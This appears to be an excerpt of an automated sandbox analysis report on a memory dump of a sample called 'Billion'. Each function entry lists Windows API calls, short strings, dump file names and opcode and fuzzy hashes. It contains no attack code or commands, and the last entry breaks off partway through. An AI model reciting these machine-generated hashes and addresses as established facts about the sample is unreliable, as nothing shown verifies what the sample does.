Instruction Fuzzy Hash: E1E0E531240640AEDB215B74BC09FE97F61AB15735F18C229F7B9544E0C771C685AB11

Function 0018EC36 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0018EC36
GetDC.USER32(00000000), ref: 0018EC40
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0018EC60
ReleaseDC.USER32(?), ref: 0018EC81

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: e08628b8a6100b0e94575a311e7b518efb7a5d763e0f603267d2f3f217bbc173
Instruction ID: 4f1eb6679d129a415a113b282bb74c0754da7a6e8ad3e9bc76cdf367508b73fc
Opcode Fuzzy Hash: e08628b8a6100b0e94575a311e7b518efb7a5d763e0f603267d2f3f217bbc173
Instruction Fuzzy Hash: 76E0E5B0800214EFCB40AFA0A908E5DBFF1BB18310F108469F84AE3650C7389982DF00

Function 0018EC4A Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0018EC4A
GetDC.USER32(00000000), ref: 0018EC54
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0018EC60
ReleaseDC.USER32(?), ref: 0018EC81

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: ef994b2292b9d08cb9cc439aed5cdf0765f27f544a0990ad675da5174fa27627
Instruction ID: 79db878f3b9a17053c386529f8f28fe5ccd1e8ef884d372cad02ae7d45ed1ed0
Opcode Fuzzy Hash: ef994b2292b9d08cb9cc439aed5cdf0765f27f544a0990ad675da5174fa27627
Instruction Fuzzy Hash: 23E012B0C00214EFCF409FA0E808A5DBFF1BB18310F108469F84AE36A0CB38A982DF00

Function 001A57CC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 001341EA: _wcslen.LIBCMT ref: 001341EF

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 001A5919

Strings

LPT, xrefs: 001A5840
*, xrefs: 001A5855

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: b283ef49ea117909da74e0e11b2527b73e2790e9c6a4cf8c06ef50d3ef1cc7b8
Instruction ID: 46d8cbb692731eeb541f33f354b0d4143108405e4a36d020d916b179fed6eab1
Opcode Fuzzy Hash: b283ef49ea117909da74e0e11b2527b73e2790e9c6a4cf8c06ef50d3ef1cc7b8
Instruction Fuzzy Hash: 2C918D79A04604DFCB14CF54C4C4EAABBF2AF45318F198099E84A9F362C775EE85CB90

Function 00195703 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 223comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 001958AF

Strings

0$ , xrefs: 00195952
Container, xrefs: 0019581E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ContainedObject
String ID: 0$ $Container
API String ID: 3565006973-1883905345
Opcode ID: ebaeba3a955eaa4820ce4531e504725e1626176e0a2151520ce1ef6bb73bca51
Instruction ID: 6a7dfd130d2d6825fbe336d545043d6ad10bbd187c7128986294d4bfe7b82a62
Opcode Fuzzy Hash: ebaeba3a955eaa4820ce4531e504725e1626176e0a2151520ce1ef6bb73bca51
Instruction Fuzzy Hash: 1B815870200601EFDB15DF64C984B6ABBF9FF48714F10856EF94A9B2A1DBB1E845CB50

Function 0015E5ED Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0015E67D

Strings

pow, xrefs: 0015E655, 0015E672

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: f27ad52df4e19fa3328bc8a71146f8db73d0af1109addb0fdc20c09186fc22bf
Instruction ID: 6f2110eca347572cb7b512970b6c6351352e2ba9c4cd51ad15107e08e80a8e3f
Opcode Fuzzy Hash: f27ad52df4e19fa3328bc8a71146f8db73d0af1109addb0fdc20c09186fc22bf
Instruction Fuzzy Hash: 1C519E71E09102CAC7197714CD0136A3BE4AB21781F304F59F8B54A2E9DF358EEA9A47

Function 0014A8EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 0014A916

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: d6e0c24aa3e0a60651b22e22fca92dc3807fbfe2721e7925e8503b382a8e9ea6
Instruction ID: c39f781d3c007bafaf6c019b561db22f0724e948621e06848348b07fa70d2ec1
Opcode Fuzzy Hash: d6e0c24aa3e0a60651b22e22fca92dc3807fbfe2721e7925e8503b382a8e9ea6
Instruction Fuzzy Hash: 23515572504246DFCB25EF28C451BFA7BA4EF25314FA64059F8919B2E1DB309E82CB61

Function 0014F6CA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 0014F6DB
GlobalMemoryStatusEx.KERNEL32(?), ref: 0014F6F4

Strings

@, xrefs: 0014F6E8

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 777ea415edcf4d7d2eafa04ed33719b400298d335fa38ff7b5c89f21a1023c9c
Instruction ID: 53c49fad492f35efbcb4a2b0c6859f28be26052125ec752dd244661bfd812fde
Opcode Fuzzy Hash: 777ea415edcf4d7d2eafa04ed33719b400298d335fa38ff7b5c89f21a1023c9c
Instruction Fuzzy Hash: D75158B14087489BE320AF51DC86BAFBBECFF94314F81885DF1D9421A1DB708569CB66

Function 001B61A2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?), ref: 001B623D
_wcslen.LIBCMT ref: 001B6249

Strings

CALLARGARRAY, xrefs: 001B6243, 001B6248

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: fd06217b949ef3fc5930044bfc28a9716a329ab1ea7f1b5fa5648e38be9c1799
Instruction ID: 764dc7556bddaca66f010e5c307caae4111af863327aacfaa4e18a97165a9b26
Opcode Fuzzy Hash: fd06217b949ef3fc5930044bfc28a9716a329ab1ea7f1b5fa5648e38be9c1799
Instruction Fuzzy Hash: F3419D71A002199FDF04DFA8C8859FEBBB5FF78364F1440A9E506A7251EB749D81CB90

Function 001ADB39 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001ADB75
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 001ADB7F

Strings

|, xrefs: 001ADB50

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: e40b30923bc145d678eb914b41b5ba2be2377f74f1bee22e0d95f4dddc826197
Instruction ID: e3a2772f77873015394846a6af44a8009111c10137b0568da9c7b458517f4bcc
Opcode Fuzzy Hash: e40b30923bc145d678eb914b41b5ba2be2377f74f1bee22e0d95f4dddc826197
Instruction Fuzzy Hash: BA315C71801209ABCF05DFA4DC85AEEBFB9FF15314F100069F915B6166EB719A46CB60

Function 001C4008 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 001C40BD
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 001C40F8

Strings

static, xrefs: 001C4058

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 4f6df25cdffdb96949fc86527c85f779526c602b3226338a002c49d5eaacaadf
Instruction ID: 7826232c217c460aee29876b47bea93a1e6f0fa0c9f0cd0d500bdd71d12ef49b
Opcode Fuzzy Hash: 4f6df25cdffdb96949fc86527c85f779526c602b3226338a002c49d5eaacaadf
Instruction Fuzzy Hash: 2931AA71110604AADB208F68C890FFB77A9FF68724F00861DFAA587190CB30EC91CB60

Function 001C4FD5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 001C50BD
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 001C50D2

Strings

', xrefs: 001C502C

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 5da8b2049f70b765f49a15cde2bfa4227a3963e1362dbff914ef5818e98abcf1
Instruction ID: eeec6053408ed811558ee7a0d34af2b9979783c9195575ed28f0bbe2a6e6e6f6
Opcode Fuzzy Hash: 5da8b2049f70b765f49a15cde2bfa4227a3963e1362dbff914ef5818e98abcf1
Instruction Fuzzy Hash: 9A31F574A0160A9FDB14CF69C881FDABBB6BF59300F10416AE904EB352D771E995CF90

Function 001320B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

Part of subcall function 00132234: GetWindowLongW.USER32(?,000000EB), ref: 00132242

GetParent.USER32(?), ref: 00173440
DefDlgProcW.USER32(?,00000133,?,?,?,?), ref: 001734CA

Strings

( , xrefs: 001320B9

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LongWindow$ParentProc
String ID: (
API String ID: 2181805148-2181176062
Opcode ID: 4b2a032e768d86391d44aba93371e3f54444a73345c0927ea6f546b05ca87416
Instruction ID: 63cfcfe8b84ba5641a5ec2b99ed4c8def0f3a42b6569095cda67a83c4c816548
Opcode Fuzzy Hash: 4b2a032e768d86391d44aba93371e3f54444a73345c0927ea6f546b05ca87416
Instruction Fuzzy Hash: A321B531601254AFCB2AAF68DD4DDB93BB6EF06360F254254F62A4B2F2C3319E55E710

Function 001C41AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00137873: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001378B1
Part of subcall function 00137873: GetStockObject.GDI32(00000011), ref: 001378C5
Part of subcall function 00137873: SendMessageW.USER32(00000000,00000030,00000000), ref: 001378CF

GetWindowRect.USER32(00000000,?), ref: 001C4216
GetSysColor.USER32(00000012), ref: 001C4230

Strings

static, xrefs: 001C41F3

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 6ef4871481c3e3986acb28efcb809a7a61aa034b2f5de3275dfd00bc01031a18
Instruction ID: 71ed8f45723ccef59d6447b77057cc011c986dd7e202ab988a621eaf60f74509
Opcode Fuzzy Hash: 6ef4871481c3e3986acb28efcb809a7a61aa034b2f5de3275dfd00bc01031a18
Instruction Fuzzy Hash: 1A112672610209AFDB00DFA8DC46FEA7BB8EB18314F014528F955E3250D734E850DB60

Function 001AD763 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 001AD7C2
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 001AD7EB

Strings

<local>, xrefs: 001AD7AB

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: f2fde00b37011435a0b5168a215cafb5d0ff912f2844a5a041177f1705865369
Instruction ID: 9c810fdf1b355f0de28fc78e39f2db5e8b8b232445535416774a1afe97586b70
Opcode Fuzzy Hash: f2fde00b37011435a0b5168a215cafb5d0ff912f2844a5a041177f1705865369
Instruction Fuzzy Hash: 1F11C675105A3279D73C4BA6AC49EF7BE5DEB137ACF10422AB50A92580D7749880D6F0

Function 001975ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

CharUpperBuffW.USER32(?,?,?), ref: 0019761D
_wcslen.LIBCMT ref: 00197629

Strings

STOP, xrefs: 00197623, 00197628

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 054270d0bcffc8f62b4ec334aae1858f75e3c4e37094c28a4383275b1f83f344
Instruction ID: 90a031faa7db4b6bd186a15a0ae46dcf69f6a150045801014a5031b6a3f75c80
Opcode Fuzzy Hash: 054270d0bcffc8f62b4ec334aae1858f75e3c4e37094c28a4383275b1f83f344
Instruction Fuzzy Hash: D601C032A28A2A8BEF20AEBDDC919BF77B5BF60754B400524E421D62D1FB31D940C690

Function 0019262B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00194620

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00192699

Strings

ComboBox, xrefs: 00192638
ListBox, xrefs: 00192663

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: f2abb165bf2ec98124fd92a45fdb6a9c70a360885529d829bf6925eb77fd20c2
Instruction ID: 2025842c578b1b5a8eb256c94ecfbd66f0ff9b780d83fb83c8249efb7e0d80b0
Opcode Fuzzy Hash: f2abb165bf2ec98124fd92a45fdb6a9c70a360885529d829bf6925eb77fd20c2
Instruction Fuzzy Hash: B201D475604228BBCF08EBA4CC91DFE7768FF56350F000619F932972C1EB315809C650

Function 00192525 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00194620

SendMessageW.USER32(?,00000180,00000000,?), ref: 00192593

Strings

ComboBox, xrefs: 00192532
ListBox, xrefs: 0019255D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 8191d3d31736c863a6ee834abcfe3bf7f7e741bea381fd43f2b7b44753a61212
Instruction ID: 53c0eb92a1f58677d3f07c00c55372268ff44fd1c41915c176f90b5c342aa98b
Opcode Fuzzy Hash: 8191d3d31736c863a6ee834abcfe3bf7f7e741bea381fd43f2b7b44753a61212
Instruction Fuzzy Hash: 4C01D675B40208BBDF04E7A0C962EFF77A9DF65344F510029BA02A7281EB70DE08C6B1

Function 001925A9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00194620

SendMessageW.USER32(?,00000182,?,00000000), ref: 00192615

Strings

ComboBox, xrefs: 001925B6
ListBox, xrefs: 001925E1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 68076234c3ee929e2de00deb8b56b231f40c583e165ad64508d45081b27255a2
Instruction ID: 29322b21da89d72c6a9d1e0e34cbb6c5c3a617530aa42781f96e9254febf7fa0
Opcode Fuzzy Hash: 68076234c3ee929e2de00deb8b56b231f40c583e165ad64508d45081b27255a2
Instruction Fuzzy Hash: 6801D175A44108BBDF05E7A0D942EFF77A89F26344F50002AB902E3281EB719E09D6B1

Function 001926B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00194620

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00192720

Strings

ComboBox, xrefs: 001926C2
ListBox, xrefs: 001926ED

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
